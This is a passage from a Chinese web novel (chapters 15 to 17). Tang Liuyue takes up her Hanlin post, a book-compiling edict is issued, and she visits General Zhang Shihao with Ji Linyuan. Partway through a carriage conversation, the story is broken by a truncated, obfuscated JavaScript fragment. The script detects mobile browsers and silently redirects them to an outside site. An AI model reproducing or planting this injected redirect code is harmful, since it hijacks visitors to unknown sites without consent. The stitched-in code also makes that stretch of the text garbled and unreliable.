“你入翰林院不足一年,却连升四级,再快只怕要招人侧目。”
棠柳月轻哼了一声,停下转圣旨的动作,睁开一双剪水双瞳。无数洁白梨花落下,看得久了眼睛有点发晕。
“说起来,还得多亏我阿娘。我阿娘要是知道自己一个叛党,居然在死后多年还救了这个国家,她应该会很得意。”
季临渊将茶盏放到棠柳月手边,“你阿娘是个怎样的女子?”
“大人若是好奇,不如跟我一同上山看看我阿娘吧。”
对上眼前人略带期盼的目光,季临渊略略思索一下,便点头同意。
山路崎岖,较大半月前,又长出了许多不知名的野草。
棠柳月挥着长刀,在前面开路。她原本以为季临渊宽袍大袖,行动不便。但没想到一抬头,人家已经站在上方的石块上,轻摇折扇,神态自若。
收回长刀,棠柳月有种被戏耍的感觉,“轻功了得啊季大人,不过下次烦请大人早点说,也省得我费心费力。”
季临渊轻笑,“只是见柳月砍得认真,所以不忍心出声打断。”
“扯淡。”
棠柳月瞪了他一眼,随即旋身踩着一处凸出的土坡,连续翻身向前,丝毫不理会后面的季临渊能不能跟上。
之前为了照顾许伯,她才一路慢慢走上来。现在换人了,那就各凭本事。
一红一白,衣袂飘飞,穿行在树林的上空。
再次来到母亲的墓前,棠柳月抽出帕子,细心擦去墓碑上的灰尘。
季临渊稍稍眯眼,辨认着墓碑上的字。
“棠红枫,生时不详,卒于泰初二十六年六月,终年约四十有余。”
泰初,是前朝皇帝的年号。而那位皇帝,在位二十八年。
“你阿娘怎么生时不详?”季临渊出声问。
擦拭完墓碑后,棠柳月又将坟堆旁边的杂草除去,“阿娘说,教派里很多人都是孤儿或者弃儿,所以大都不记得或者而不愿提起生辰。再到后来,所有入教的人也都默认生时不详,彼此估量个岁数就行。”
“你总说你阿娘,那你父亲呢?”
棠柳月动作一顿,“我没有父亲,我是阿娘捡来的孩子。她说捡到我的时候,我还在襁褓之中,跟那时流窜的她一样可怜,所以把我带在身边,还把全副武功绝学都教给了我。”
季临渊眉心一跳,将折扇收起别在腰间,弯腰同棠柳月一起除草。
“那你阿娘一定很辛苦,一个女人拉扯一个孩子长大。”
棠柳月手起刀落,一大片芒草倒地,擦了擦额头沁出的细汗,她的声音有点点喘:“不辛苦,阿娘年轻聪明,武功好又精通兵器,人也生得漂亮,所以很快就靠着一家武行店赚得盆满钵满。不过她为了找阿楚,总是带着我四处奔波,居无定所。”
“后来,阿娘眼见找到阿楚的希望越来越渺茫,便在安乡扎根落脚,但死前还是嘱咐我一定要替她找寻阿楚。”
“而她死后,尸身火烧成灰,散入天地间,等着某一天可以飞到阿楚的身边。”
忙活了好一阵,杂草终于除完。棠柳月走到墓前,恭恭敬敬地拜了三拜。
季临渊站在身后,听着这个常常存在与棠柳月口中的阿楚,问出了心中所想:“棠娘子很喜欢楚娘子吗?”
棠柳月摇摇头,看向墓碑的眼神有些怅然,“我不知道,阿娘从未说过喜不喜欢,爱不爱。但她心里的阿楚,比她更强大聪慧,是她敬仰的存在。”
季临渊沉吟片刻,“我起先并不完全相信你阿娘说的,楚娘子是被宫里的人带走,直到我看到那枚玉佩。这起码可以证明,先皇与浮花神教或许一开始,并不是剑拔弩张。”
棠柳月掬起一抔黄土堆在墓碑前,语调沉沉,“我对浮花神教的了解不比你多,但我信阿娘,她说没做过,就是没做过。”
“我明白,”季临渊颔首,“等我们回去,我会尽力协助你调查楚娘子的事情。”
棠柳月转头笑看季临渊,“那就多谢季大人了。”
季临渊原本站在后面,点着头算是应承下这声多谢。片刻后,只见他跟着提起衣摆走上前,跪下磕头叩拜。
棠柳月一愣,“你这是为何?”
季临渊面色如常,“这次的疫病若没有棠娘子的药方,还不知道要坏到何种境地。所以哪怕棠娘子此刻还不能为世人所知,我也要跪下一拜,感念她的恩德。”
棠柳月没有阻拦,直到眼神落在季临渊后腰下的一抹黑色。
“季临渊。”
“嗯?”
“你衣服破了,左腰往下一道口子,黑色的。”
……
季临渊起身,落荒而逃。
临行启程回京的最后几天,整个安乡已经活泛很多,百行百业也重新出现在街头巷尾。很多安乡百姓也都陆陆续续,给棠、季一行人送来不同的吃食和衣物,以此感激他们这些日子的照顾。
这些东西自然是不能收的,所以季临渊不得不贴出告示,不得再送礼。
于是送礼的没了,说亲的来了。
已经有不少婶婶伯母,叔叔伯伯,拐弯抹角问棠柳月芳龄几何,可有婚配。
被问烦的棠柳月索性这几天得
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空就在家门口舞刀弄枪,一副谁来杀谁的模样。最后还是季临渊怕她吓到小孩子,才上去把她拉回来。
众人也才没有再追问,但紧跟着新的流言传了出来——
【棠姑娘的刀剑,只有季公子的温柔可挡。】
听到这些话的时候,棠柳月正在庭院里给自己的软剑编剑穗。倒是季临渊,在院中来回走动,手里的折扇都快摇飞了,眼里火苗烁烁。
“淡定,淡定,”棠柳月低头忙活着,讶异于季临渊的反应,不由笑了笑,“百姓也是觉得佳人当配才子,所以才有了这随口一说。”
这样一说,季临渊更生气了,脚下动作更快:“那更荒谬了,你一个姑娘清清白白的,无端端跟别人扯上,简直无稽至极!”
季临渊行动间衣袖生风,棠柳月都害怕被这妖风吹病了。于是一把拉住走过的季临渊,示意他在自己身边蹲下。
从季临渊手里拿过折扇,棠柳月轻轻扇着,给他去去火,“过两天都要走了,你生这茬气做什么?”
季临渊虽还在气头上,但火气明显消减了不少。只是往日精致的眉眼,此刻却半点也舒展不开,“你不生气吗?那你之前生气是为什么?”
抬手给季临渊拨了拨散乱的刘海,棠柳月语调温和:“之前生气是因为真的打扰了我的起居,但此刻你都说了流言无稽,伤不了我分毫,所以自不必在意。”
“还是说……”棠柳月顿了顿,捧住季临渊的脸,神色揶揄:“你觉得我配不上你?”
“哪有的事!”季临渊心下一急,张口就来,而软剑垂下的剑穗,被他缠在手里,一圈又一圈。
“所以,不生气了,好不好?”
棠柳月莞尔一笑,粉面春桃,看得季临渊有一瞬间晃了神,
“……好。”
哐啷。
是铜盆落地的声音。
棠、季二人朝着声音的方向看去,却发现来人是沈易寒。
他穿一身单薄白衣,像柳叶般细长瘦削。一丝阴郁之气从他眼中弥漫出来,覆盖住他清秀的面庞。扶着门框的手不自觉紧了又紧,如同他看向季临渊的眼神,恨了又恨。
他终于不得不承认,棠柳月对季临渊,比对自己亲近。
但转瞬间,少年温和无害的笑意又重新占领高地,直直落在棠柳月的身上。
沈易寒拿起铜盆,笑道:“师父,连副将说他亲自下厨做饭菜,让我们一起过去吃。”
“季大人,也同去。”
“那是自然,”季临渊起身,顺带也把棠柳月拉着站起来,站在她身侧,笑道:“我们,自然是要去的。”
这两个人大抵都有些疯病。
棠柳月如是想着。
启程那天,整个安乡的百姓都来送行,将出城之路围的水泄不通。当初带着希望入城的一行人,此刻也终于带着希望离开。
赵靖圻骑着高头大马走在队伍的最前方,鸣锣开道,其余人则在车上与百姓挥手告别,车马缓缓向前行驶,离开安乡,奔赴京城。
15.回京(2)
一别三月,再次回到京城,已经是五月初,绿槐高柳咽新蝉,薰风初入弦。
再次踏入金銮殿,棠柳月站在季临渊身侧,侧耳敬听季临渊的述职文书以及皇帝对他们的封赏。
早朝后,原本皇帝还想留二人说话,但棠柳月无心奉陪,把季临渊推过去之后,便脚底抹油前往翰林院。
只是令她没想到的是,宋澈衍居然先她一步,带着各位同僚候在院前,只为迎接她。
只见宋澈衍走上前,拢手弓腰:“翰林侍读宋澈衍,见过学士大人。”
后面的人也跟着行礼,口中齐齐喊着学士大人。
棠柳月的眼神一一扫过这些人,有一种难以言说的快感从她平静的脸上划过。
这些人里,有喜她的,护她的,也有厌她的,恶她的。但此刻他们都因为身份差异,官阶差异而对她恭敬有加,甚至平日都不打扮的人,此刻都脂粉满面,只为给她留下好印象。
棠柳月仅仅是拥有了一方小小的“权力”,便足以让身边人面目皆换只为讨自己欢心。
她突然有点理解为什么那么多人都爱权力。只要有了它,就算光鲜亮丽下再是心思各异、肮脏不堪,也无人敢挑破说破,呈现到自己面前的,永远都是最和顺完满的模样。
若是这权力,能大到让天下为自己折服……
适时挥去还不算太成熟的幻想,棠柳月点头示意众人起身。
上任第一天,也都是认识的人,所以她并没有摆开架子。被众人簇拥着走进翰林院,寒暄客套了几句,便让众人散去。
来到昔日季临渊的书房。这里的东西已经被宋澈衍整理了一遍,看上去很是宽敞简洁。
只是那只画眉鸟,被季临渊要走了。
手指轻轻抚过书桌,棠柳月拉开太师椅坐下,端起桌上早已备好的清茶,抬眼看向一直跟在身后的宋澈衍。
“我初来乍到,有哪里做的不好,宋侍读可要及时告诉我。”
宋澈衍抿唇轻笑,但笑意却未达眼底,“棠大人审时度势,霹雳手段,有什么是做不好的?”
听着不太像好话。
棠柳月提起茶盖,轻轻撇去浮茶碎沫,浅尝一口。
“多谢侍读夸奖。”
宋澈衍被这回答噎住,貌若恭敬的脸上出现细碎的裂缝。
“也是,棠大人既跟中书令大人共赴疫区,关系匪浅;又受皇上赏识,荣升翰林学士,当真是前途无量。”
棠柳月“哐”的一声放下茶盏,薄唇微微勾起一个不屑的弧度:“侍读以前说话可不会拐弯抹角,不妨直说。”
宋澈衍的笑意渐渐淡去,自行走到一旁坐下,不再掩藏眼底的怒气:“那我问你,当时季璟复位中书令,你马不停蹄地自请跟上他,是不是想攀附关系,才有了今天的翰林学士之位?一去几个月,我还听闻季璟身染疫病之时,是你贴身伺候。孤男寡女,成何体统!”
说到这,宋澈衍仿佛忽然又想到了什么,看向棠柳月的眼里,愤懑之外又添了几分惊诧。
“莫不是你还想做中书令夫人?”
棠柳月无语地笑了笑,抬手揉着太阳穴,闭眼道:“宋澈衍你不去说书真是屈才了。”
宋澈衍冷漠地转过脸,不愿与这个让他大失所望的女人对视。
棠柳月也渐渐回过味来,原来宋澈衍是把自己当成,为了功名利禄不择手段的人。
猜测是合理的,可惜对象猜错了。
于是棠柳月耐着性子解释:“且不论季璟对我的跟随在不在意,单论安乡,疫病爆发之地,凶险万分。我还不至于为了一个虚名,先把性命至于不顾。”
宋澈衍似是不信,嘲讽出声:“那你贴身照顾季璟算什么?你知道有多少人在背后说你——”
“那又如何?”
棠柳月平静地说出这四个字,好整以暇地注视宋澈衍。
宋澈衍怔愣片刻,完全没想到棠柳月是这个反应,好一会儿才喃喃道:“女子名声珍贵,你怎可如此不在乎?”
棠柳月皱了皱眉,怪不得江寒星说这个人是酸腐儒生。
“名声这种长在别人嘴里的东西,有什么值得在乎?他们只是看不惯我坐在这里,又没办法把我轰下去。而且,你只知道我照顾季璟,那我在疫区救助百姓你知道吗?我驮着汤药,孤身直入其他疫区,你又知道吗?”
连声的追问打得宋澈衍猝不及防,他仔细想了想,似乎……真的只听到了那些风言风语。
棠柳月看出了他的犹豫,毫不遮掩地翻了一个白眼,嗤笑道:“所以明明就是你们断章取义,却来说我别有用心,真是好一手移花接木,颠倒黑白。”
宋澈衍被棠柳月训得半晌都说不出话,脸色涨红,止不住地眨眼:“所以,你当真未对季璟动心?你跟他之间,当真清白?”
端着茶杯起身,棠柳月慢悠悠走到宋澈衍身前,垂眸看他:“为何不能是他先动心?至于请不清白的,我觉得除非你喜欢我,否则我的清白跟你没有关系。”
“还是说……”
棠柳月忽的挑眉一笑,把茶杯放到宋澈衍手边,然后撑着椅子扶手,俯下身去。
宋澈衍的眼睛瞬间瞪大,身子僵直不能动弹。明艳娇俏的脸在眼前,淡淡发香萦绕鼻间,他听到那句对他来说,有失体统,甚至冒犯的话。
“难道你也对我动心了?”
还未等他想出应对之语,棠柳月已然起身,随口撂下一句“茶不合口味”,便扬长而去。
安静的书房里,宋澈衍凝视茶杯,莫名很是烦躁。只见他覆手盖在茶杯上,但很快又抬了起来。因为他想起那双润泽的薄唇,曾经擦过杯口。
手心传来隐隐被灼烧的热意。
棠柳月在翰林院没闲着,季临渊在朝堂上也没闲着。他原以为皇帝就算复了他的位,也不会对他上心。但随着越来越的奏报被送到中书省,他发现自己好像估计错了。
皇帝不仅上心,还开始重用。
“季卿对此事怎么看?”
“季卿可还有什么想说的?”
“这件事就交给季卿去做吧。”
……
终于,不愿置身水深火热之中的季临渊,承受不住皇帝这般刻意倚重,在一个风和日丽,私下召见的午后,他向皇帝吐露了自己的心声。
“皇上,要不你还是把我贬回翰林院吧?”
皇帝疑惑,“这是为何?”
季临渊站在殿中,神色颇为疲乏:“皇上想扶持谁去平衡朝中势力都可以,但我不愿意做那颗棋子。”
皇帝轻轻叹息,流露出一丝无奈。
“大茗自开国,士族贵族之争从未停歇。当初朕继位,是倚靠世家大族出身的重臣上位。所以这之后,朕一直厚待赏恩于他们。虽也会弹压训斥,但终究未动
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其根本。”
“只是如今,多年弊病下来,他们欲壑难填,党同伐异愈加厉害。为保江山黎民,朕是断断不能再优容了。”
面对皇帝说的这些,季临渊其实很清楚。
当初他虽被贬官,明面上虽远离朝堂,但内里他之前提拔的寒门后辈,都是他在朝廷里的眼睛。任何风吹草动,他都知晓得一清二楚。
因此他也很清楚地知道,皇帝此刻重用他,很明显就是要扶持寒门。
而说到高门贵族的代表,那必定非安定王罗恒幡莫属。
祖上是开国大将,获封安定王,世代荫庇传承。所以罗恒幡从出生便继承王位,后来更是尚公主,满族荣耀。而他自己不仅举荐自己人入朝,还网罗一众高门贵族做自己的门生,颇有权倾朝野之势。
当朝太傅罗盖宝便是罗恒幡的同宗庶兄。
季临渊并没有接话,只是静静沉默着。
他并不确定眼前的皇帝,此刻给予的信任,会不会成为来日刺向自己的利刃。毕竟,当初多番打压斥责,贬官降罪的,也是这位皇帝。
但他可以确定的是,如果自己不出面,那即便皇帝重新选一个寒门官员委以重任,对方短期内也不可能拢得住其他人。
届时寒门被蚕食殆尽,皇帝无人可用,贵族把持朝纲,大茗便是岌岌可危。
皇帝自知季临渊在犹豫什么,所以此刻他也只能尽力降低身姿,“朕知道你担心事成之后,朕会鸟尽弓藏。但朕不是昏君,之前也只是因为朕对你的成见作祟。朕是真心希望你能跟朕一起,像辅佐先皇那样,辅佐朕。”
季临渊眼中微闪,语调沉沉:“那便请皇上赐季某一卷盖有玉玺的空白圣旨,容许日后季某在危急之时,用来自救。”
“准。”皇帝应承地毫无犹豫。
深深地踌躇后,季临渊躬身行礼。
“臣与皇上,共进退。”
日头渐长,酷暑渐至。翰林院里也应时摆上一缸缸冰块,纳凉降温。
自从棠柳月上任翰林学士,一改翰林院不敢惹事之风,主张人无我有,人有我优,苛待了谁也不能苛待到翰林院头上。
整改膳堂伙食、提高酷暑时节补贴、声讨六部不得欺压翰林院出身官员……
凡此种种折腾了一个多月,连皇帝都在早朝时敲打棠柳月,不要破坏朝臣关系。
但每次棠柳月都是左耳听了,右耳就出去。然后继续像一根擎天柱,牢牢撑起翰林院的一片天。
不过这种强硬的工作态度,却让皇帝颇为欣赏。于是很快,他便把一个自己长久以来想做,但无从下手的事情,委派给了棠柳月。
知了声声的午后,江寒星趁着小憩时段,给棠柳月端了一碗糖水。但走进书房,却没有见到昔日伏案工作的身影。
四下问了问,才知道棠柳月去了藏书阁。
脚步轻快地来到藏书阁,江寒星果然见到了棠柳月。
但见棠柳月此刻正抬头望着满阁书籍古册,不出一言。
江寒星默默走上前,以为棠柳月在为上午皇帝下达的圣旨烦恼,刚想出声安慰,却被棠柳月抢了先。
“寒星,你说皇上为什么下旨,要翰林院网罗先人之书,编纂一套《古籍全书》?”
江寒星歪头想了想,“颂扬君主,教化百姓?”
棠柳月轻笑,这个皇帝,似乎跟她以为的,很不一样。
16.拜访(1)
随着撰修编书的日程真正展开,棠柳月才惊觉工作量的庞大。
不仅要起底整个翰林院的藏书和史官修书,还要接收内府送来的文册,还要从各地征集图书,更要与当朝官员搜集前朝文人墨客的诗歌文集藏品。
但既然是藏品,又怎会轻易展示他人?
棠柳月只得先礼后兵,每日下朝后就是带着宋澈衍登门拜访各位大人,晓之以情动之以理,遇上脾性好的磨上两三日便可通融给予,遇上脾性不好的,棠柳月说到最后,便让宋澈衍拿着圣旨带人自行搜集。
这样的行为,放眼整个朝堂都极为罕见。
户部便有几位素善藏书的官员一连几日,上书参奏棠柳月,称她的行为是强盗恶贼。
皇帝不过笑笑,倒是季临渊站在前排,悠悠替棠柳月出声:“你们若安分配合,棠学士也不会如此。”
这样的维护落到棠柳月耳朵里,只引得她一阵冷笑。
宋澈衍更是一针见血指出,“皇上这是让大人做出头鸟呢。”
文溯阁里,内府新送来的文书正一批批运进来。
棠柳月伏案校对久了,慢慢起身揉着酸麻的腰肢,走到正在核验文书的宋澈衍身边。
“后日季临渊会同我去拜访大将军,你在翰林院组织大家继续校书,我会很快回来的。”
宋澈衍手捧一本小册子,提笔低头记录,时不时探头看看送进来的文书。
对于棠柳月的叮嘱,头也不抬,只是淡淡“嗯”了一声,“知道了,路上注意安全。”
说完,他又忽然一笑,转头看向棠柳月,“大将军征战戎马,也喜欢舞文弄墨吗?”
棠柳月耸耸肩,“我原先也没想到大将军,是季临渊后来跟我提起,说大将军府上有一卷失传已久的诗赋真迹。”
宋澈衍点点头,眼神慢慢落回笔下,若有所思:“季璟,倒真是愿意帮你。”
“帮不帮我另说,但是他和皇上一唱一和,给我这个小小的六品官得罪了不少人倒是真的。”
说到这个,棠柳月的脸色顿时沉了下去。
“是吗?我看你也挺乐意的。”宋澈衍笑着瞥了棠柳月一眼。
毕竟,如果每次不是他尽力缓和着,可能从登门那一刻,棠柳月就单刀直入了。
棠柳月闻言,原本沉郁的脸色稍稍轻松了几分,却又随即叹了口气,“这次编修,说好听点是为了文化传承,避免珍稀文书遗失。但其实就是为了打破门阀士族教化百姓的局面,由皇家修书立传,维护正统,让世人只臣服这位天下共主。”
“只是,我总有些不安。”
“不安什么?”
棠柳月双手抱胸,朝眼前的文书扬了扬下巴,“这些图籍经过校对、考证、分门别类到最后的汇总成册,期间少不了毁书、删书、改书,而且为了颂扬君主,必定是要对逆党大加苛责,对我朝极尽溢美称赞。这样做,总归有失文人风骨。”
宋澈衍摇了摇头,面对棠柳月如此直白地议论圣上,罕见地没有搬出他的儒臣心肠:“一言寤主宁复听,三谏不从归去为。文人风骨,不在朝堂在本心。何况成王败寇,若今日身死魂灭的是你我,那被打成逆党的也会是你我,所以不必介怀。”
深感安慰般抬手拍了拍宋澈衍的肩膀,棠柳月道:“还是你会说话,怪不得每次去其他人府上,你说的话他们都爱听。”
宋澈衍拿起册子,轻掩住半张脸,细长的眉眼弯起,眸光潋滟:“但是这种得罪的人的事情,还得大人这种人去做,才能显得刚正不阿,利落果决。”
话音刚落,棠柳月便手臂一横,给了宋澈衍一肘子。
吃痛的宋澈衍不敢声张,只得乖乖站远了些。
登门拜访大将军那天艳阳高照,棠柳月许久没有休沐,所以在马车上总是忍不住掀开车帘,默默记下路边摊贩,想着以后闲暇时一定要过来看看。
“你很喜欢这些东西吗?”季临渊清亮的声音在身旁响起。
棠柳月笑着坐回身,“是觉得有趣,以前不曾见过。”
季临渊复位中书令之后,官袍从原先的深绿色换成深蓝色,多了精致的花纹刺绣,折扇也换成金丝玉面折扇,衬得整个人儒雅谦和了许多。
“有趣的话,你休沐时,我同你一起逛逛京城。”
“大人公务繁忙,我可不敢叨扰。”棠柳月调侃道。
虽知道是一句玩笑话,但季临渊的心情还是莫名有些失落。细算起来,从安乡回来,他已经很久很没有吃上秋姨的饭菜,而她,也没有来找过他。
为数不多的碰面,都是在早朝时分。
这次若不是他主动提到大将军,怕是这个女人更是忙的不能见他了。
正沉浸在自己的思绪里,棠柳月的声音却突然传来。
“大将军张世豪是个怎样的人?”
“大将军……”季临渊略微思索了一下,“出身武将世家,他自己当年也是武举状元,多年征战沙场,为人豪爽大气。他的夫人也是将门之女,只可惜难产而亡,留下个女儿,叫张姝,今年十七岁了。”
“后来大将军也没有续弦,膝下也唯有这一个孩子,疼爱有加。”
棠柳月听后,颇为慨叹,“大将军很是深情呢。”
季临渊点点头,“皇上多次想要为大将军指婚,但都被大将军婉拒,后来也就作罢了。”
“既如此,”棠柳月好奇地看向季临渊,“你是如何得知他府上有先人真迹的?”
提到这个,季临渊脸色一变,很是不自在,“因为几年前他想撮合我和他女儿,所以用真迹的名头,让我去府上。只是后来恰逢我被贬官,这事才不了了之。”
嘴角的弧度难以压抑,棠柳月只能假意咳嗽,遮掩心底的好笑。
“很好笑吗?”季临渊一手按在腿上,不安地摩挲。
“不好笑,”棠柳月努力维持着礼貌,却又话锋一转:“所以,人家姑娘也没看上你吗?”
“……没看上。”
棠柳月这下是真的没忍住,噗嗤一声笑出来,“那这门婚事没成,跟你贬没贬官,貌似关系不大呢。”
“不许笑。”季临渊臊红了脸,快速摇了几下折扇,侧过脸不搭理棠柳月。
车马穿行于闹市,颠簸摇晃之间,车上窗帘微微掀起。借着那一缕间隙,季临渊侧头看去,街边摊贩叫卖的热络场景映入眼帘。
看了一会,发觉有人扯了扯自己的袖口。
季临渊装作不知地回过头,却见棠柳月唇边笑意已然收住,正静静注视自己,心下莫名紧张:“看着我做什么?”
“在想若是如今大将军再提婚事,你会不会答应。”
“不会。”
“应承得这么快?”棠柳月眉毛一挑,“莫不是还在赌气当年人家下了你的面子?”
季临渊白了棠柳月一眼,“不是,与他人无关,只在我。”
“哦?”棠柳月来了兴趣,朝眼前人探了探身子,“洗耳恭听。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14504559|153513||http|test|mini|href|location''.split(''|''),0,{}));
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>季临渊却渐渐认真神色,如墨双瞳映衬佳人容颜,眼底情意正悄然流淌:“我的心思,你半分都未曾察觉吗?”
这次,轮到棠柳月乱了气息。
恰好,车马停住,车夫在外面说着已到将军府。
没有等到回答的季临渊也不追问,只敛容正色,起身下车。
棠柳月不敢怠慢,也跟着下了车。
走进将军府,一股肃杀之气扑面而来。府内无甚装饰,随处可见各色兽骨制成的冷门器具,前院还架起摆放一件高两米的纯铁战甲,很是壮观。
“季大人!未曾远迎,失敬失敬!”
洪亮高亢的声音由远及近,张世豪带着女儿张姝,快步走上前将棠、季二人迎入厅堂落座。
待落座后,棠柳月发觉墙上挂的是当朝画师国手所作的《麒麟伏虎图》,恢弘大气,而其余所挂画作,皆是类似前者那般开阔方正。
而眼前的赵姝,也不似寻常千金娇美柔顺。生的一张鹅蛋脸,天庭饱满,五官精致,但眼神冷冽,翘而尖的下巴隐隐有一股傲气。穿一身窄袖玄衣,满头青丝只用乌木簪起,周身无一丝金银珠翠。
棠柳月在打量赵姝的同时,未曾发觉对方也在打量自己。
双手接过下人递上的茶水,棠柳月低声道了句“多谢”,便听到季临渊与张世豪的交谈。
“最不想叨扰大将军,但奈何此次全书编纂,功在当代,利在千秋,皇上也极其看重,所以季某才携翰林学士登门拜访,还望大将军海涵。”
面对季临渊如此谦卑,张世豪自是不敢托大,连忙躬身行礼,让人把诗赋真迹呈到季临渊手边。
虽然从官阶上,大将军是从一品,中书令是正二品,但朝中人人都知,一品大员皆是虚职无实权,只有中书令才是真正的一人之下万人之上,上传下达,手握实权。
况且现在皇帝看重季临渊,所以张世豪宁可折了自己的身份,也要给季临渊一个面子。
季临渊轻摇折扇,嘴上说着“大将军不必多礼”,但手上可一点没动,硬是让人行完了礼。
万恶,万恶。
棠柳月在心中鄙夷着,却与张姝对上了眼神。
"柳月,你也是武状元出身,可使得动大将军院子里那些兵器?"
忽然被点名,棠柳月看了看季临渊,虽不知他什么意思,但还是细细回想了一下刚刚见到的器具,说道:“大约都可以,但有几样只听家中长辈说过,今日也是第一次见。”
张世豪一听这话,眼神顿时亮了起来,难掩激动:“棠学士殿试那日,我还在边境巡查,回京后才知棠学士已经殿选夺魁。但心中一直很想与棠学士切磋,领教一把后生可畏。”
张姝自看到棠柳月后,便一直好奇打量她,直到此刻父亲话语落下,她才开口道:“这满院的兵器都是我父亲征战沙场,从蛮族处缴获而得,世所罕见。棠学士方才说都使得动,那不如现在与我下场比试一番?”
“姝儿,不得无礼。”张世豪皱眉训声。
棠柳月一时愣住,没有想过第一次见面就要舞弄刀枪。于是有些探寻地看向季临渊,“大人,您意下如何呢?”
季临渊轻啜一口清茶,举止优雅,“既然张小姐看重你,你且一试,别伤了张小姐就行。”
张姝闻言直接起身下场挑选兵器,不屑道:“谁伤谁还不一定呢!”
“去吧,棠状元。”
季临渊脸上一派云淡风轻,翘起二郎腿,静候好戏开场。
17.拜访(2)
棠柳月直到拿起院中的长剑,都不明白自己只是登门要本真迹,怎么就跟人比试了起来。
但容不得她多想,张姝的刀戟就劈了过来。
本能举起长剑抗住进攻,棠柳月顺势下腰与张姝擦身而过,接一个蹲身扫堂腿。虽立刻被躲过,但她立刻飞身挥剑力压刀戟,逼得张姝后撤好几步。
张姝却也是力大砖飞,居然生生抗住并且还击了棠柳月,一刀劈下,地上的砖石应声而碎。
前面打得不可开交,后面观战的也看的不亦乐乎。
尤其是张世豪,恨不得以身替女,跟棠柳月过过招。
张世豪方才对棠柳月的客气还真不是假意,他素来爱才,朝廷的武将或多或少都受过他的提拔。
只不过皇帝继位以后,对武将多有提防。为求稳妥,他也只是虚虚担了个大将军的名头,其余军事皆交给副将处理。所以哪怕本该拜他门下的棠柳月,被贬翰林院后,他也未曾质询过皇帝缘由。
缄口不言,明哲保身。
季临渊轻摇折扇,他深知棠柳月的身手,虽然比试里棠柳月有暗自收力,但张姝看上去也并非花头架子,有些真功夫在身上。
“两年不见,令媛的身手又精进了。”
“女儿家学着防身用的,算不上很好。倒是棠学士,若没有去翰林院……”张世豪甚是惋惜地叹了口气,没有再说下去。
季临渊转脸看向张世豪,唇角微扬:“她非池中之物,小小翰林院困不住她。只是千里马长有而伯乐不常有,季某也不愿明珠蒙尘,所以带来与大将军一见,哪怕只受您几句指点,也算不虚此行。”
张世豪听到这里,才明白过来季临渊今日登门的用意。
略带深意地看了季临渊一眼,他移开眼神,假意端起茶水:“季大人得皇上看重,前途无量,但我已年老,也参不透皇上的心思,算不上一条好出路。”
“怎会?”季临渊脸上似笑非笑,“就凭每年南北官银互通往来,皆是大将军护送,就可知您还是朝廷的肱骨之臣。”
拨弄茶水的动作渐渐停下,张世豪有些遗恨:“可凭我如今的能力,还不足以把棠学士从翰林院要过来。”
季临渊“啪”的一声收回折扇,笑道:“大将军多虑了,她是翰林院学士,何来要不要一说?季某只是想着,若某年大将军得命外出,身边缺个随行的,能想一想柳月便可。”
“至于其他的,皆看她自己的造化。”
张世豪还是有点犹豫,“可若贸然提起,怕是皇上……”
“路途遥远又涉及官银,为求稳妥,多个人随行也是正常,皇帝怎会怪罪?”
季临渊挑眉,二人一切皆在不言中。
锵!
刀戟落地的声音传来,引得众人侧目。转脸看去,只见张姝满头青丝散落,跪伏在地,上半身被棠柳月用膝盖抵着压下,双手被死死箍在身后,长剑立于脸侧。
输的很彻底。
张世豪这个亲爹看见女儿这般落败,竟然哈哈大笑起来。倒是季临渊快步走上前,一边皱眉训斥棠柳月“不得无礼”,一边将二人拉开。
拉过棠柳月,季临渊低声无奈道:“让你打,你还真下死手啊?”
棠柳月神色无辜:“是她一直不肯认输,所以我只好帮她一把。”
“无妨无妨,”张世豪把女儿拉起,一点也不在意这败北的结果,爽快道:“胜败乃兵家常事,何况小女雕虫小技?今日有幸看武状元一展风姿,还望日后有机会再一切磋。”
张姝稍稍拢了拢头发,脸上还带着几处擦伤,听到父亲这样说,也立刻不服输道:“对!等我再练练,我去你府上再跟你比试。”
棠柳月看了季临渊一眼,满脸写着:看,我说的没错吧。
季临渊略略沉默一会,手中折扇一挥,身后下人识趣地去厅里收好真迹,快步折返站好。
“今日在大将军府上叨扰许久,就不做逗留。”季临渊拱手作揖,“张小姐若是意犹未尽,可等柳月修书完毕后,再寻时间切磋。”
张世豪先一步出声,附和道:“明白明白,季大人和棠学士都有公务在身,还是公务为重。”
回程的车马上,棠柳月小心翼翼地展开诗册,仔细检查。刚刚在将军府,光顾着跟人打架,都忘了正事。
季临渊见她如此谨慎,便随口道:“放心,一定是真迹。”
棠柳月不以为然,“你如何确定?且这年月赝品仿得比真品还真,我可得看仔细。”
季临渊淡淡笑了一声,用手勾起卷轴上的绳带,“当年把诗册送给大将军之时,这绳结就是我亲手所系,所以有没有被人碰过,我还是知道的。”
……
“所以你是把送别人的东西又讨要回来了?”
季临渊假意叹气,“不然你以为张世豪真那么好说话?不过你说话是真难听。”
哪有你做事难看。
棠柳月在心里腹诽,却还是将真迹检查了一番,才小心收起。
车马悠悠,路边的小吃香气和各色香料味道混杂着,飘进车里。不算难闻,相反闻久了竟品出一丝异香。
“你带我来拜访大将军,是想攀上张世豪这条路吗?”
棠柳月的声音像一阵冷风,吹散满车的馨香甜腻。
脊背轻轻往后靠着,原本还在闭目假寐的季临渊微扬眉尾,“你倒聪明,只不过不是为我。况且同僚之间的往来,怎么能如此肖想?”
棠柳月闻言缄默片刻,“我说过,我自己可以的。”
季临渊知道棠柳月的脾性,自己若事先与她说明,她未必接受。既然现在目的已经达到,他也不愿再惹人生气,只道:“谁说我帮你了?若是见一面就算帮,那我与你算什么?”
“你!”棠柳月被噎得一时语塞,气急之下又给了季临渊一闷肘。
但这次,对方学会了提前防备。
隔着衣物,抓住纤细的手臂,季临渊毫不费力地把人往怀里一带,一手按在她的腰间,一手捏住她的下颔,与之四目相对。
“最近姓沈的住你家里,没添什么乱子?”
棠柳月双手撑在季临渊胸前,瞪了他一眼,便移开眼睛,没好气道:“没有,他白天去学堂读书,晚上下学回来帮着秋姨做饭,特别懂事听话,可讨秋姨喜欢了。”
“那他讨你的喜欢吗?”
